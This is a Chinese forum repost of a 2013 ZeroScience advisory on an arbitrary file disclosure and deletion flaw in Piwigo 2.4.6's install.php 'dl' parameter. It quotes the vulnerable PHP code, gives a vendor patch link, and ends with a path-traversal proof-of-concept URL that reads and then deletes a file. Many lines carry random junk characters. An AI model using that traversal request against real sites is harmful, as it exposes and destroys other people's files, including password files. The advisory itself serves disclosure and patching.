找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2398|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。, c% f9 B# H- p, s8 Z, @2 F% Z6 m

  c, d& ~) L- D( y, q, jPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。. k+ {9 ?, K; n) K
====================================================================4 H) q% J3 h7 x  P  J3 W) |3 r! ~
/install.php:. M: J& y9 X8 G6 i7 e8 R
-------------! t* T  U5 @( s2 s+ z
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
6 n5 A5 i9 S1 x8 {; l- V1 D114: {
5 m5 e( O" g( E# H/ u( _7 J- G! w! H115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];0 H) P" a4 e* @/ U1 D
116:   header('Cache-Control: no-cache, must-revalidate');! O: X+ W0 W+ }7 w* J
117:   header('Pragma: no-cache');
5 c7 Y4 ^7 [; m118:   header('Content-Disposition: attachment; filename="database.inc.php"');3 U5 L8 h! I0 `$ R' K$ e' g
119:   header('Content-Transfer-Encoding: binary');
2 c$ Q9 A$ x! f6 e- j" x% w9 [120:   header('Content-Length: '.filesize($filename));0 [$ W% |# d  y: @5 f
121:   echo file_get_contents($filename);
3 Z3 n6 t4 j/ `+ K5 b+ ^  G122:   unlink($filename);
  G1 e5 E  K1 ]1 [7 c7 W123:   exit();" {1 i& x" D3 u5 ^* x2 z
124: }. R- Q: z) z* ], z7 N) `6 ~3 p/ ~
====================================================================% {8 S$ g" n6 ~% u- w9 W" r9 `: K

1 e3 C3 J! ^* }7 @  \" m. g- N% E( hTested on: Microsoft Windows 7 Ultimate SP1 (EN)
" d8 b9 }+ T5 W3 O' e. d% v, K* Q+ P+ t2 g$ |           Apache 2.4.2 (Win32)4 g: J- W( m, j
           PHP 5.4.4; A+ r' ^" _! r3 @& f6 E% S& ~1 q
           MySQL 5.5.25a6 s, S. z9 a+ v) P2 v+ ^

7 m5 y* L3 H) r2 AVulnerability discovered by Gjoko 'LiquidWorm' Krstic' L- r" [# k6 V1 t& \; m
                            @zeroscience  P' x: t  _* b
; d' m$ X( x4 Y0 c2 ?1 F7 A
Advisory ID: ZSL-2013-51277 h/ N% [) J4 S4 g$ T( x. A9 z
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
% r- ~7 {) b* j, B% @  R% VVendor Patch: http://piwigo.org/bugs/view.php?id=2843
2 E# @0 `( d7 [  w" P1 u3 o( ~ & x! U$ n$ \, ?
15.02.2013
- T) e/ U& T' @, c: K
8 M" [1 C6 d# q' x$ R+ @4 x--" z$ M. G( ?, r/ |' X
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt* L: P, [8 F% h3 s, x, v

5 g8 I* D' K3 C, ]9 d, W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表